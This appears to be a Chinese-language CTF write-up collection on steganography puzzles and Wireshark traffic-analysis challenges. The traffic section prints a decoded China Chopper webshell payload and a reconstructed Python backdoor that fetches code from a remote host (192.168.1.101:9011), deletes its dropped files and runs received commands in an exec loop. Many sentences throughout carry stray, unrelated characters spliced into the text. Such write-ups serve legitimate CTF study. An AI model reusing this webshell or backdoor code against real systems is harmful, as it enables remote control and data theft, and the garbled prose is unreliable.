[MRCTF 2020] Hello_ misc
文件名提示修復圖片蚯妇,用 stegsolve 修復紅色色道,保存為 png 得到密碼binwalk 發(fā)現(xiàn)藏著一個壓縮包忿晕,提出來解壓得到 out.txt
① 分析
反復出現(xiàn) 127凡恍、255靠娱、63、191 這幾個數(shù)字
二進制分別對應:01111111嚼酝、11111111毙驯、00111111柱锹、10111111
最高兩位分別為:01、11丰包、00禁熏、10
② 腳本
每四個為一組,二進制 ? 十進制 ? 字符(ASCII碼)進行輸出
輸出結(jié)果:rar-passwd: 0ac1fe6b77be5dbe邑彪,解壓得到 fffflag.zip
from binascii import *
# 讀取數(shù)字
fp = open('out.txt','r')
a = fp.readlines()
p = []
for i in a:
p.append(int(i))
# 最高兩位
s = ""
for i in p:
if i == 63:
a = '00'
elif i == 127:
a = '01'
elif i == 191:
a = '10'
elif i == 255:
a = '11'
s += a
print (s)
out = ""
# 每八個字符為一組
for i in range(0,len(s),8):
# 二進制轉(zhuǎn)十進制
x = int(s[i:i+8],2)
# 十進制轉(zhuǎn)十六進制
out += chr(x)
print ('標志位 '+ str(i) + ': ' + str(s[i:i+8]) +' -> ' + str(x) + ' -> ' + str(chr(x)))
print (out)
這一看就是 docx 文件瞧毙,全選文字改色,將每一行 base64 解碼寄症,得到一堆 1 和 0
觀察良久宙彪,發(fā)現(xiàn)把 1 去掉,0 圍成了有意義的字母有巧,猜測:flag{He1Lo_mi5c~}
[BSidesSF 2019] zippy
① binwalk 發(fā)現(xiàn)藏著一個壓縮包
流量包拖入 wireshark释漆,追蹤 TCP 流
發(fā)現(xiàn)一條 Shell 命令:unzip -P supercomplexpassword flag.zip
② 我們知道命令格式:unzip -P { 密碼 } { 壓縮包 }
所以密碼為 supercomplexpassword,解壓得到:flag{this_flag_is_your_flag}
[UTCTF 2020] docx
binwalk 一下發(fā)現(xiàn) docx 里藏了很多圖片
直接改后綴名篮迎,解壓灵汪,在 \word \media 目錄下找到 flag
[湖南省賽 2019] Findme
① 先 strings 了一下隱藏信息
4.png 信息:another part: cExlX1BsY
5.png 信息:I give U a gift: Yzcllfc0lN
猜測 flag 就是五張圖片加起來的 base64 解碼
② 1.png 這種圖,要么是虛幻要么是寬高被改
這里用腳本跑一下原來的寬高
輸出寬字節(jié)為:00 00 00 e3柑潦,高字節(jié)為:00 00 01 c5
import zlib
import struct
filename = '111.png'
with open(filename, 'rb') as f:
all_b = f.read()
crc32key = int(all_b[29:33].hex(),16)
data = bytearray(all_b[12:29])
n = 4095
for w in range(n):
width = bytearray(struct.pack('>i', w))
for h in range(n):
height = bytearray(struct.pack('>i', h))
for x in range(4):
data[x+4] = width[x]
data[x+8] = height[x]
crc32result = zlib.crc32(data)
if crc32result == crc32key:
print("寬為:",end="")
print(width)
print("高為:",end="")
print(height)
在 winhex 中修改寬高后享言,發(fā)現(xiàn)圖片壞的,這種情況只可能是 IDAT 有問題打開 010editor渗鬼,修復 chunk[2]览露、chunk[3] 的 IDAT 標識,得到了正常圖片用 Stegsolve 打開譬胎,在 blue 2 色道發(fā)現(xiàn)二維碼差牛,掃描:ZmxhZ3s0X3③ 不難發(fā)現(xiàn) 3.png 文件尾的 37 7A 03 04 和 ZIP 的 50 4B 03 04 的格式很像
全部修改,保存解壓堰乔,得到一堆 txt偏化,在 618.txt 里找到:You find it: 1RVcmVfc④ 3.png 的 chunk[0] - chunk[6] 的每一個數(shù)據(jù)塊的 crc 值都是可打印的 ascii 字符所以 0x33,0x52,0x6C,0x5A,0x33,0x30,0x3D => 3RlZ30=
⑤ 總結(jié)一下:
1.png:ZmxhZ3s0X3,base64 解碼:flag{4_
2.png:1RVcmVfc
3.png:3RlZ30=
4.png:cExlX1BsY
5.png:Yzcllfc0lN
1 解碼得到:flag{4_ 镐侯,放最前侦讨,3 放最后,然后 2苟翻、4韵卤、5 多試幾次
按照 15423 的順序拼接,解碼得到:flag{4_v3rY_sIMpLe_PlcTUre_steg}
[GWCTF 2019] huyao
考點:盲水映缑ā(BlindWaterMark)
python2 bwm.py decode huyao.png stillhuyao.png flag.png
python3 bwmforpy3.py decode huyao.png stillhuyao.png flag.png
[UTCTF 2020] Zero
考點:零寬度字符隱寫將 txt 文件用 vim 查看沈条,其中隱藏了 U+200B、U+200C诅炉、U+200D蜡歹、U+FEFF屋厘、U+202C找個網(wǎng)址去掉就行了:utflag{whyNOT@sc11_4927aajbqk14}
[GUET-CTF 2019] soul sipse
hint:flag{a+b}
起初以為是電碼題,后來發(fā)現(xiàn)是隱寫月而,音頻一般 binwalk 分不開
用 steghide 分出 download.txt得到網(wǎng)址:https://share.weiyun.com/5wVTIN3
下載得到 GUET.png 汗洒,修復文件頭后打開,得到 unicode 碼解碼景鼠,flag{5304}
- 圖片分析之隱寫術(shù)
隱寫術(shù):一門關(guān)于信息隱藏的技巧與科學
信息隱藏:指不讓預期的接收者外的任何人知曉信息的傳遞事件或信息的內(nèi)容
隱寫與編碼加密概念并不相同仲翎,但經(jīng)常會將兩者結(jié)合起來進行出題
- 附加式圖片隱寫
就是在載體文件上附加隱寫內(nèi)容,而我們要提取出載體文件中被隱藏的內(nèi)容
① 直接附加字符串,一般用 strings 命令查看浓恶,也可以用 010 Editor 查看
在 CTF 賽事中铛漓,有兩種常見方式:直接附加字符串 溯香,圖片作為其他文件的載體
② 圖片作為其他文件的載體
最常見的是圖種玫坛。圖種就是將圖片與壓縮包結(jié)合起來的文件,文件保存為圖片格式包晰,可以正常顯示圖片湿镀。由于操作系統(tǒng)識別的過程是,從文件頭標志到文件的結(jié)束標志位伐憾,當識別到圖片的結(jié)束標志位后勉痴,默認不再繼續(xù)識別,所以我們只能看到它是一張圖片树肃。
對于這類的隱寫蒸矛,我們可以通過 winhex、010 Editor 胸嘴、binwalk 分離文件
- 基于文件結(jié)構(gòu)的圖片隱寫
A)文件頭數(shù)據(jù)塊(IHDR)
PNG 文件的第一個數(shù)據(jù)塊雏掠,而且一個 PNG 只能有一個文件頭數(shù)據(jù)塊
它包含 PNG 圖像的基本信息,圖片的寬高劣像,圖像深度乡话,圖像類型,壓縮方法等如圖所示耳奕,標藍部分為 IHDR 數(shù)據(jù)塊
00 00 00 0D 代表頭塊長绑青,49 48 44 52 代表 IHDR 標識
00 00 02 D3 代表圖片的寬,00 00 02 46 代表圖片的高
在 CTF 中吮铭,經(jīng)常通過改變寬高使得圖片顯示不完整时迫,或無法顯示從而隱寫
我們不能輕易修改圖片寬高的值,以防圖片報錯打不開谓晌,可以:
① 通過 CRC 值推算寬高的值 ② 修改寬高的值后計算出新的 CRC 值進行替換
import zlib
import struct
filename = 'test.png'
with open(filename, 'rb') as f:
all_b = f.read()
crc32key = int(all_b[29:33].hex(),16)
data = bytearray(all_b[12:29])
n = 4095
for w in range(n):
width = bytearray(struct.pack('>i', w))
for h in range(n):
height = bytearray(struct.pack('>i', h))
for x in range(4):
data[x+4] = width[x]
data[x+8] = height[x]
crc32result = zlib.crc32(data)
if crc32result == crc32key:
print("寬為:",end="")
print(width)
print("高為:",end="")
print(height)
B)調(diào)色板數(shù)據(jù)塊(PLTE)
它僅與索引彩色圖像有關(guān),包含了與索引彩色圖像相關(guān)的變換數(shù)據(jù)癞揉,必須放在圖像數(shù)據(jù)塊之前纸肉。真彩色的 PNG 數(shù)據(jù)流也可以有 PLTE溺欧,便于非真彩色顯示程序用它來量化圖像數(shù)據(jù),進而顯示圖像柏肪。
數(shù)據(jù)流:一組有序的字節(jié)數(shù)據(jù)序列姐刁,代表傳輸中所使用信息的數(shù)字編碼信號序列
C)圖像數(shù)據(jù)塊(IDAT)
IDAT 存儲圖像真正的數(shù)據(jù),在數(shù)據(jù)流中可以有多個連續(xù)的 IDAT
IDAT 塊只有當上一個塊充滿時烦味,才會繼續(xù)一個新的塊
IDAT 采用 LZ77 算法的派生算法進行壓縮聂使,可以用 zlib 解壓縮D)IEND
圖像結(jié)束數(shù)據(jù)(IEND):用來標記文件或數(shù)據(jù)流已經(jīng)結(jié)束,必須放在文件尾
IEND 的長度是 00 00 00 00谬俄,數(shù)據(jù)標識是 49 45 4E 44柏靶,CRC 值是 AE 42 60 82
2020 年 10 月 17 日
流量分析 —— CTF題目實戰(zhàn)
題目 1
解碼得到:User: test@51elab.com ,Pass: FLAG:ISCCTESTpas
- 題目 2
隨便跟蹤一個 TCP 流
- 題目 3
① 切換至 http 進行查看溃论,發(fā)現(xiàn)大量數(shù)據(jù)爆破屎蜓,猜想是黑客進行掃描
② 瀏覽之后發(fā)現(xiàn)黑客執(zhí)行 phpinfo 成功,執(zhí)行命令:
print_r(gzcompress(file_get_contents(base64_decode(%22aW5kZXgucGhw%22))))
print_r(gzcompress(file_get_contents(base64_decode(%22ZmxhZy50eHQ%22))))
解碼得到操作文件名:index.php 钥勋,flag.txt③ 我們切換至原始數(shù)據(jù)炬转,提取到 flag.txt 的 gz 壓縮二進制內(nèi)容:
789ccbc82c492e49abb6304d32484c354eb4483437b048b234324f4a334c343648494b334e36333531a8e5020018cb0c6c
保存成文件,然后寫腳本進行解壓縮算灸,得到 flag
php
<?php
$a = gzuncompress(file_get_contents('./test'));
echo $a;
?>
- 題目 4
先查看 http 流量扼劈,發(fā)現(xiàn)黑客不斷向 /uploads/dvwa.php 提交 POST 數(shù)據(jù)根據(jù)目錄,猜想可能存在一句話木馬菲驴,進入 tcp 流跟蹤荐吵,發(fā)現(xiàn)可疑操作:
cmd=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCg
wKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiK
SREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWi
IpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0c
Hd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9
KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D
URL 解碼,BASE64 解碼谢翎,發(fā)現(xiàn)為中國菜刀的流量:
php
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")
$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D}\t";
if(substr($D,0,1)!="/")
{
foreach(range("A","Z") as $L)
if(is_dir("{$L}:"))
$R.="{$L}:";
}
$R.="\t";
$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';
$usr=($u)?$u['name']:@get_current_user();
$R.=php_uname();
$R.="({$usr})";
print $R;;
echo("|<-");
die();
為了找 key捍靠,遍歷查看黑客操作
① 在 tcp stream 5 發(fā)現(xiàn)存在 rar 壓縮包
提出來,解壓是一張圖片森逮,得到 key1 = c7265f89
② 在 tcp stream 6 發(fā)現(xiàn)存在 png 圖片我們將數(shù)據(jù)復制存入 123.txt榨婆,運行解碼的 php 語言寫入至文件 1.png
<?php
function str2bin($hexdata)
{
$bindata="";
for ($i=0;$i < strlen($hexdata);$i+=2) {
$bindata.=chr(hexdec(substr($hexdata,$i,2)));
}
return $bindata;
}
$a = file_get_contents("./123.txt");
$a = $a;
$b = str2bin($a);
file_put_contents("./1.png",$b);
圖片里得到 key2 = 8a52fcc4,完整 key = c7265f898a52fcc4
- 題目 5
打開 tcp 跟蹤流褒侧,猜測存在 pyc 文件流內(nèi)容http 導出對象良风,然后在線 pyc 反編譯,成功得到 client.py打開有大量 base64 拆分數(shù)組的混淆最后的 base64 代碼闷供,解碼得到:
python
strr = ""
for i in range(0,1158):
strr=strr+arg[i][::-1]
exec(base64.b64decode(strr))
再結(jié)合 1158 個混淆數(shù)組烟央,運行得到:
import base64
import socket
import sys
import os
import time
decs = ' A/MNCs/sv1ljAAAAAAAAAAAGAAAAQAAMA ……… ' (太長,就省略了)
f2 = open('d'+'e'+'c'+'.'+'p'+'y'+'c','w'); # dec.pyc
f2.write(base64.b64decode(decs));
f2.close();
import dec;
os.system('rm -rf dec.pyc')
remote_ip = '192.168.1.101'
port = 9011
def send_m(remote_ip, port, msg, get=False):
all_data=[]
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # socket鏈接
s.connect((remote_ip , port))
if get:
message = msg
else:
message = enc.fun(msg) # 密文加密
s.sendall(message)
while True:
data = s.recv(20480)
if data:
string = bytes.decode(data, 'utf-8')
break
return dec.fun(string) # 密文解密
except socket.error, msg:
print 'emmmmmmm_boom'
sys.exit();
encs=send_m(remote_ip,port,'just_a_test',True)
f1 = open('e'+'n'+'c'+'.'+'p'+'y'+'c','w'); # enc.pyc
f1.write(base64.b64decode(encs));
f1.close();
import enc;
os.system('rm -rf enc.pyc')
while True:
exec(send_m(remote_ip,port,'I lose my way'))
print('new loop after 5s')
time.sleep(5)
代碼首先寫入了 dec.pyc歪脏,調(diào)用了 dec.fun 函數(shù)進行密文解密
并且發(fā)現(xiàn)這是一個 socket 鏈接疑俭,我們在流量包中找到密文
調(diào)用 dec.py 解密,即可得到 flag
- 題目 6
解壓后得到文件:++ __ ++
由于不知道后綴婿失,file 查看一下:++__++: pcap-ng capture file - version 1.0
改后綴钞艇,分析流量啄寡,在追蹤 TCP 流時發(fā)現(xiàn)文件內(nèi)容
# coding:utf-8
from Crypto import Random
from Crypto.Cipher import AES
import sys
import base64
IV = 'QWERTYUIOPASDFGH'
def decrypt(encrypted):
aes = AES.new(IV, AES.MODE_CBC, IV)
return aes.decrypt(encrypted)
def encrypt(message):
length = 16
count = len(message)
padding = length - (count % length)
message = message + '\0' * padding
aes = AES.new(IV, AES.MODE_CBC, IV)
return aes.encrypt(message)
str = 'this is a test'
example = encrypt(str)
print(decrypt(example))
發(fā)現(xiàn)函數(shù)調(diào)用了 AES 加密:
aes = AES.new(IV, AES.MODE_CBC, IV)
偏移量為 IV ,加密模式為 CBC 哩照,密鑰為 IV
其中 IV = 'QWERTYUIOPASDFGH'
尋找密文挺物,發(fā)現(xiàn)操作:[root@localhost wireshark]# cat 22
得到密文:19aaFYsQQKr+hVX6hl2smAUQ5a767TsULEUebWSajEo=解密得到:passwd={No_One_Can_Decrypt_Me}
繼續(xù)分析流量,發(fā)現(xiàn)操作:
[root@localhost wireshark]# cat 11
Rar!....3................TU..<..... .+......flag.txt0.....n.Kr..z....uEo.Bn&=i.S..>....4.B..~...xj.".
...u......3.....jWj..%m..!.+h...+s..q#.]...3Ks.y.....r.2...wVQ....[root@localhost wireshark]#
里面藏了壓縮包 RAR飘弧,提出來解壓得到 flag